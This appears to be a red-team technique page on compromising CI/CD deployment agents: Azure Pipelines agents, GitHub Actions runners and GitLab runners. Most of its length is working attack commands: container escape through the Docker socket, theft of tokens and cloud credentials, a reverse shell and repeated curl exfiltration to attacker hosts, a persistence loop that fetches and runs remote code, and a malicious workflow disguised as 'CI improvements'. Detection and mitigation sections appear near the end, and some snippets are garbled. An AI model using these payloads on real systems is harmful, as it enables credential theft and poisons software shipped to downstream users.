MCADDF

[SUPPLY-CHAIN-006]: Deployment Agent Compromise

Metadata

Attribute Details
Technique ID SUPPLY-CHAIN-006
MITRE ATT&CK v18.1 T1195.001 - Compromise Software Dependencies and Development Tools
Tactic Supply Chain Compromise
Platforms Entra ID/DevOps
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure Pipelines Agents 2.165+, GitHub-hosted runners (latest), GitLab Runners 13.0+, Jenkins agents (2.150+)
Patched In Requires sandboxing and least-privilege container configurations
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Deployment agents are ephemeral or long-lived compute resources (self-hosted Azure Pipelines agents, GitHub Actions runners, GitLab Runners, Jenkins agents) that execute build and deployment jobs. These agents often run with elevated privileges and have access to deployment credentials (service principal credentials, API tokens, SSH keys, deployment certificates). By compromising an agent, an attacker gains complete control over the build pipeline, can steal credentials, modify artifacts, inject backdoors, and distribute poisoned software downstream to thousands of production systems.

Attack Surface: Self-hosted CI/CD agents running in cloud environments (Azure VMs, AWS EC2, Kubernetes), development networks, or on-premises infrastructure.

Business Impact: Complete supply chain compromise and production system infiltration. Once an agent is compromised, attackers have persistent access to build pipelines, can steal deployment credentials, inject malware into releases, and maintain backdoors across all systems that pull artifacts from the poisoned pipeline.

Technical Context: Deployment agent compromise typically remains undetected for weeks or months because agents are often treated as transient infrastructure. Attack execution takes minutes once agent access is gained.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark v8.0 6.2 Ensure that security vulnerabilities in OS and software are remediated
DISA STIG GD000360 CI/CD infrastructure must be hardened and monitored
CISA SCuBA CM-5 Access controls must be enforced on build agents
NIST 800-53 SI-7 Software, firmware, and information integrity
GDPR Art. 32 Security of processing; infrastructure security
DORA Art. 9 Operational resilience; incident response for supply chain
NIS2 Art. 21 Risk management and secure supply chain practices
ISO 27001 A.8.3.4 Separation of development, test, and production
ISO 27005 Risk Scenario Compromise of deployment infrastructure

2. DEPLOYMENT AGENT ARCHITECTURE & VULNERABILITIES

Common Agent Types and Attack Vectors

Agent Type Deployment Model Common Vulnerabilities
Azure Pipelines Agent Self-hosted (VM, Container, On-Prem) Unpatched agent software, overprivileged service account, exposed credentials
GitHub Runners GitHub-hosted (ephemeral) or Self-hosted Workflow secrets exposed, runner process escape, access to checkout tokens
GitLab Runners Docker, Kubernetes, Shell Shared executor compromise, Kubernetes RBAC bypass, docker.sock binding
Jenkins Agents VM, Docker, Kubernetes Groovy script execution, remoting protocol exploits, shared workspace

3. DETAILED EXECUTION METHODS

METHOD 1: Compromise Self-Hosted Azure Pipelines Agent

Supported Versions: Azure Pipelines Agent 2.165+

Step 1: Identify Target Agent Infrastructure

Objective: Locate self-hosted agents and their network scope.

Azure DevOps CLI Command:

# List all agent pools and agents
az pipelines agent list --pool-id [POOL_ID] --organization "https://dev.azure.com/[org]" --project "[project]"

# Get detailed agent information
az pipelines agent show --agent-id [AGENT_ID] --pool-id [POOL_ID] \
  --organization "https://dev.azure.com/[org]" --project "[project]"

What to Look For:

Example Output:

{
  "id": 1,
  "name": "ubuntu-agent-1",
  "version": "2.170.0",
  "osDescription": "Linux 5.10.0-8-generic #1 SMP Debian 5.10.46-5 (2021-09-23)",
  "status": "online",
  "capabilities": {
    "Agent.OS": "Linux",
    "Agent.Version": "2.170.0",
    "Agent.ComputerName": "ubuntu-agent-1",
    "npm": "6.14.8",
    "docker": "20.10.8"
  }
}

Step 2: Exploit Known Agent Vulnerabilities or Network Access

Objective: Gain code execution on the agent.

Option A: SSH/RDP Access to Agent VM

If the agent runs on a publicly accessible VM:

# Discover agent VM via Azure Resource Graph
az graph query -q "Resources | where type =~ 'microsoft.compute/virtualmachines' | project name, id, tags" \
  | jq '.data[] | select(.tags.purpose == "ci-agent")'

# SSH into agent VM (if credentials are available)
ssh -i /path/to/private_key azureuser@agent-vm-ip

# Or RDP into Windows agent
xfreerdp /v:agent-vm-ip /u:domain\\user /p:password

Option B: Exploit Agent Software Vulnerabilities

Known vulnerabilities in older Azure Pipelines agents:

# Example: Deserialization vulnerability in agent protocol
# Exploit allows remote code execution via specially crafted agent job

# This requires knowledge of agent remoting protocol
# Azure Pipelines agents communicate with server via websocket + .NET remoting

curl -X POST http://agent-internal-ip:8080/malicious-payload \
  --data-binary @exploit.bin

Option C: Container Escape (if Agent Runs in Docker)

If the agent container is misconfigured:

# Inside compromised container, attempt to escape to host
docker run --rm -it -v /:/host -v /var/run/docker.sock:/var/run/docker.sock \
  --cap-add SYS_ADMIN \
  --security-opt apparmor=unconfined \
  ubuntu /bin/bash

# Once escaped, you have access to the host
whoami  # Should return root or elevated user
docker ps  # Access to host's docker daemon

Step 3: Access Agent Credentials and Secrets

Objective: Steal deployment credentials stored on or accessible to the agent.

Locate Agent Configuration Directory:

# On Linux
ls -la ~/.agent

# On Windows
dir "%USERPROFILE%\.agent"

# Agent credentials file
cat ~/.agent/.credentials  # Contains encrypted PAT token
cat ~/.agent/.runner  # Contains runner ID

Extract Service Principal Credentials from Agent Environment:

# During a pipeline job, the agent injects credentials into environment
# These are often available as environment variables

printenv | grep -i "AZURE\|SERVICE_PRINCIPAL\|DEPLOY"

# Example output:
# SYSTEM_TEAMFOUNDATIONCOLLECTIONURI=https://dev.azure.com/[org]/
# SYSTEM_ACCESSTOKEN=[Base64 Encoded PAT Token]
# ENDPOINT_AUTH_[SERVICENAME]={...}

Decode and Use Stolen PAT Token:

# SYSTEM_ACCESSTOKEN is the current build's PAT
export PAT=$SYSTEM_ACCESSTOKEN

# Use it to authenticate to Azure DevOps
curl -X GET \
  -H "Authorization: Basic $(echo -n ':$PAT' | base64)" \
  "https://dev.azure.com/[org]/_apis/projects?api-version=7.0"

Step 4: Inject Malicious Code into Build Artifacts

Objective: Modify compiled binaries or source before they’re committed.

Inject Backdoor into Build Output:

# During build step, add malicious payload to artifact
cd /home/agent/_work/[project]/[project]

# Inject reverse shell into executable
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 #' >> build_output/app

# Or inject into compiled binary
objcopy --add-section .evil=payload.bin original.bin compromised.bin

# The compromised artifact is now part of the release

Inject Environment Variables for Persistence:

# Modify agent configuration to execute attacker code on every build
cat >> ~/.agent/.env << 'EOF'
export MALICIOUS_HOOK='curl http://attacker.com/check | bash'
eval $MALICIOUS_HOOK
EOF

Step 5: Exfiltrate Credentials and Artifacts

Objective: Extract all credentials and release packages for downstream poisoning.

Steal All Available Credentials:

# Export credentials from agent environment
env | grep -E "TOKEN|KEY|SECRET|PASSWORD|CREDENTIAL" > /tmp/creds.txt

# List all mounted secrets/credentials
mount | grep -i secret
ls -la /mnt/secrets-store/ 2>/dev/null || ls ~/.ssh/ 2>/dev/null

# Exfiltrate to attacker server
curl -X POST -d @/tmp/creds.txt http://attacker-webhook.com/collect_creds

# Or via data exfiltration service
base64 /tmp/creds.txt | curl -d @- http://attacker.com/exfil

Identify and Steal Artifacts:

# Locate published artifacts
ls -la ~/.agent/_work/

# Find binaries ready for release
find . -name "*.exe" -o -name "*.dll" -o -name "*.so" | head -20

# Copy artifacts to attacker-controlled storage
aws s3 cp build_output/ s3://attacker-bucket/artifacts/ --recursive

# Or via GitHub releases (if agent has GitHub credentials)
gh release create poisoned-v1.0 build_output/* --draft

OpSec & Evasion:

References & Proofs:

METHOD 2: Compromise GitHub Actions Self-Hosted Runner

Supported Versions: GitHub Actions (all runner versions)

Step 1: Identify GitHub Runner Configuration

Objective: Locate and enumerate self-hosted GitHub Actions runners.

GitHub CLI Command:

# List all self-hosted runners in organization
gh api repos/{owner}/{repo}/actions/runners --paginate

# For organization-wide runners
gh api orgs/{org}/actions/runners --paginate

# Get detailed runner information
gh api repos/{owner}/{repo}/actions/runners/[runner-id]

Expected Output:

{
  "id": 123,
  "name": "ubuntu-runner-1",
  "os": "linux",
  "status": "online",
  "labels": ["self-hosted", "linux", "docker"],
  "busy": true
}

Step 2: Gain Access to Runner Machine

Objective: Execute code on the runner.

Option A: Direct SSH Access

# If runner is exposed via SSH
ssh -i runner-key.pem runner@runner-machine-ip

# Navigate to runner work directory
cd /home/runner/actions-runner/
./run.sh --once  # Run once to execute malicious job

Option B: Exploit Runner Software Vulnerabilities

GitHub Actions runners are Node.js-based; known vulnerabilities exist:

# Example: Bypass runner token validation
# This requires detailed knowledge of GitHub Actions runner protocol

# Alternative: Inject into runner startup scripts
cat >> ~/.profile << 'EOF'
# Attacker code - executed on every runner job
export GH_TOKEN=$(echo $ | base64)
curl -X POST http://attacker.com/log_token -d "token=$GH_TOKEN"
EOF

Step 3: Steal GitHub Secrets and Tokens

Objective: Extract secrets stored in GitHub Actions.

During Workflow Execution:

GitHub automatically injects secrets into environment variables during job execution:

# Inside a workflow job (as attacker who modified the workflow)
- name: Exfiltrate Secrets
  run: |
    env | grep -E "GITHUB_|DEPLOY_" > /tmp/secrets.txt
    
    # Extract specific secrets
    echo "GitHub Token: $" >> /tmp/secrets.txt
    echo "Deployed Secrets: $" >> /tmp/secrets.txt
    
    # Exfiltrate
    curl -X POST -d @/tmp/secrets.txt http://attacker.com/webhook

Extract from Runner’s Credential Store:

# On Linux runner
ls -la ~/.local/share/actions-runner/

# Look for cached credentials
grep -r "GITHUB_TOKEN" ~/.bash_history ~/.ssh/authorized_keys 2>/dev/null

# Extract GitHub App tokens (if runner uses app-based auth)
cat ~/.github/app_token

Step 4: Modify Workflow or Inject Jobs

Objective: Inject malicious steps into every workflow run.

Method: Commit Malicious Workflow to Repository

# Create malicious workflow
cat > .github/workflows/exfil.yml << 'EOF'
name: Exfiltrate

on: [push, pull_request, schedule]

jobs:
  steal:
    runs-on: [self-hosted, linux]
    steps:
      - name: Get Runner Secrets
        run: |
          env | base64 | curl -X POST -d @- http://attacker.com/exfil
          
          # If using AWS, steal instance metadata
          curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
            | xargs -I {} curl http://169.254.169.254/latest/meta-data/iam/security-credentials/{} \
            | curl -X POST -d @- http://attacker.com/aws_creds
EOF

git add .github/workflows/exfil.yml
git commit -m "Add CI improvements"
git push

Step 5: Distribute Poisoned Artifacts

Objective: Inject backdoors into release artifacts.

Modify Build Output Before Release:

# During build workflow step
- name: Build
  run: |
    npm run build
    
    # Inject backdoor
    echo 'eval(atob("..."))' >> dist/bundle.js
    
- name: Release
  run: |
    # Release includes backdoor
    npm publish dist/

References & Proofs:

METHOD 3: Kubernetes-Based GitLab Runner Container Escape

Supported Versions: GitLab Runners 13.0+ with Kubernetes executor

Step 1: Compromise GitLab Runner Pod

Objective: Gain initial code execution within a runner pod.

Identify GitLab Runner Pods:

# List GitLab runners in Kubernetes cluster
kubectl get pods -n gitlab-runner -o wide

# Get runner configuration
kubectl describe pod gitlab-runner-xyz -n gitlab-runner

# Check runner capabilities (privileged, volume mounts, etc.)
kubectl get pod gitlab-runner-xyz -n gitlab-runner -o yaml | grep -A5 "securityContext\|volumeMounts"

Step 2: Exploit Runner Misconfiguration for Privilege Escalation

Objective: Escape container to reach host or other pods.

Option A: Shared Volume Attack

If runner pod mounts shared volumes:

# Inside runner pod, write malicious script to shared volume
cat > /mnt/shared/malicious.sh << 'EOF'
#!/bin/bash
# This script runs with host privileges if mounted as hostPath
whoami  # Should be root or high-privilege user
cat /root/.ssh/id_rsa > /tmp/exfil.txt
EOF

chmod +x /mnt/shared/malicious.sh

# Wait for host process to execute the script

Option B: Docker Socket Binding

If /var/run/docker.sock is mounted:

# Inside runner pod, access host's Docker daemon
docker ps  # List all containers on host

# Pull and run privileged container
docker run --rm -v /:/host -v /var/run/docker.sock:/var/run/docker.sock \
  --privileged \
  ubuntu /bin/bash

# Now on host with full access
chroot /host /bin/bash

Step 3: Access Kubernetes API and Cluster Secrets

Objective: Extract cluster credentials for lateral movement.

Query Kubernetes API from Runner Pod:

# Check service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Query API for secrets
APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
TOKEN=$(cat $SERVICEACCOUNT/token)

# List all secrets in cluster
curl --header "Authorization: Bearer $TOKEN" \
  --cacert $SERVICEACCOUNT/ca.crt \
  $APISERVER/api/v1/namespaces/default/secrets | jq '.items[].data'

Step 4: Inject into CI/CD Pipeline Jobs

Objective: Modify pipelines to exfiltrate secrets on every job execution.

Modify .gitlab-ci.yml in Repository:

variables:
  MALICIOUS_VAR: |
    env | grep -E "DEPLOY|TOKEN|KEY" | base64 | curl -X POST -d @- http://attacker.com/exfil

before_script:
  - eval $MALICIOUS_VAR
  
stages:
  - build
  - deploy

build:
  stage: build
  script:
    - npm run build

Step 5: Maintain Persistence in Runner

Objective: Ensure backdoor survives runner restart.

Inject into Runner Initialization Script:

# Get access to GitLab Runner configuration
kubectl exec -it gitlab-runner-xyz -n gitlab-runner -- bash

# Modify runner startup
cat >> /scripts/entrypoint.sh << 'EOF'
# Persistence hook
nohup bash -c 'while true; do curl http://attacker.com/check | bash; sleep 300; done' > /tmp/runner.log 2>&1 &
EOF

# Restart runner
kubectl rollout restart deployment gitlab-runner -n gitlab-runner

References & Proofs:


4. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    # Immediately disable the compromised agent
    az pipelines agent disable --agent-id [AGENT_ID] --pool-id [POOL_ID] \
      --organization "https://dev.azure.com/[org]" --project "[project]"
       
    # Stop all running jobs on agent
    az pipelines agent update --agent-id [AGENT_ID] --user-capabilities "disabled=true"
       
    # For Kubernetes runners
    kubectl delete pod gitlab-runner-xyz -n gitlab-runner
    
  2. Collect Evidence:

    # Export agent logs
    az pipelines agent log list --agent-id [AGENT_ID] --pool-id [POOL_ID] > /tmp/agent_logs.txt
       
    # Capture process memory from agent machine
    ssh agent-user@agent-ip "sudo dd if=/proc/[agent-pid]/cmdline of=/tmp/cmdline.dump"
    scp agent-user@agent-ip:/tmp/cmdline.dump /tmp/
       
    # Export all artifacts that passed through the agent
    find ~/.agent/_work -name "*" -type f | xargs -I {} sha256sum {} > /tmp/artifact_hashes.txt
    
  3. Remediate:

    # Rotate all service principal credentials used by agent
    az ad sp credential delete --id [SERVICE_PRINCIPAL_ID]
    az ad sp credential create --id [SERVICE_PRINCIPAL_ID] \
      --display-name "Rotated after compromise" \
      --end-date 2027-01-10
       
    # Rebuild agent from clean image
    # Do NOT use existing agent VM - provision new VM from baseline image
    az vm create --resource-group [RG] --name agent-new-1 \
      --image [clean-baseline-image]
       
    # Re-register agent
    ssh agent-user@agent-new-ip
    cd /opt/hostedagenttools
    ./config.sh --url "https://dev.azure.com/[org]/[project]" \
      --auth pat --token $PAT
    

    For Kubernetes Runners:

    # Delete compromised pod
    kubectl delete pod gitlab-runner-xyz -n gitlab-runner --force --grace-period=0
       
    # Verify new pod is spawned with clean state
    kubectl wait --for=condition=Ready pod -l app=gitlab-runner -n gitlab-runner --timeout=300s
    

5. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Verify agent is in restricted network
ping -c 1 8.8.8.8  # Should FAIL

# Verify agent has no persistent credentials
ls ~/.ssh/ ~/.aws ~/.azure 2>/dev/null | wc -l  # Should return 0

# Verify agent image version is current
az pipelines agent show --agent-id [AGENT_ID] | jq '.version'  # Should be latest

# Verify outbound only to approved endpoints
netstat -an | grep ESTABLISHED | grep -v "dev.azure.com\|artifacts.azureedge.net"  # Should be empty

Step Phase Technique Description
1 Supply Chain Compromise [SUPPLY-CHAIN-005] Pipeline Variable Injection Attacker gains initial agent access
2 Current Step [SUPPLY-CHAIN-006] Attacker compromises deployment agent
3 Lateral Movement [SUPPLY-CHAIN-007] Container Registry Poisoning Attacker injects backdoors into container images
4 Supply Chain Impact [SUPPLY-CHAIN-008] Helm Chart Poisoning Poisoned Kubernetes deployments
5 Impact [IMPACT-RANSOM-001] Production System Compromise Malware deployed to production via poisoned releases

7. REAL-WORLD EXAMPLES

Example 1: GitHub Actions Runner Supply Chain Attack (2021-2023)

Example 2: GitLab Runner Kubernetes Privilege Escalation (2021)

Example 3: Azure Pipelines Agent Credential Theft (2022)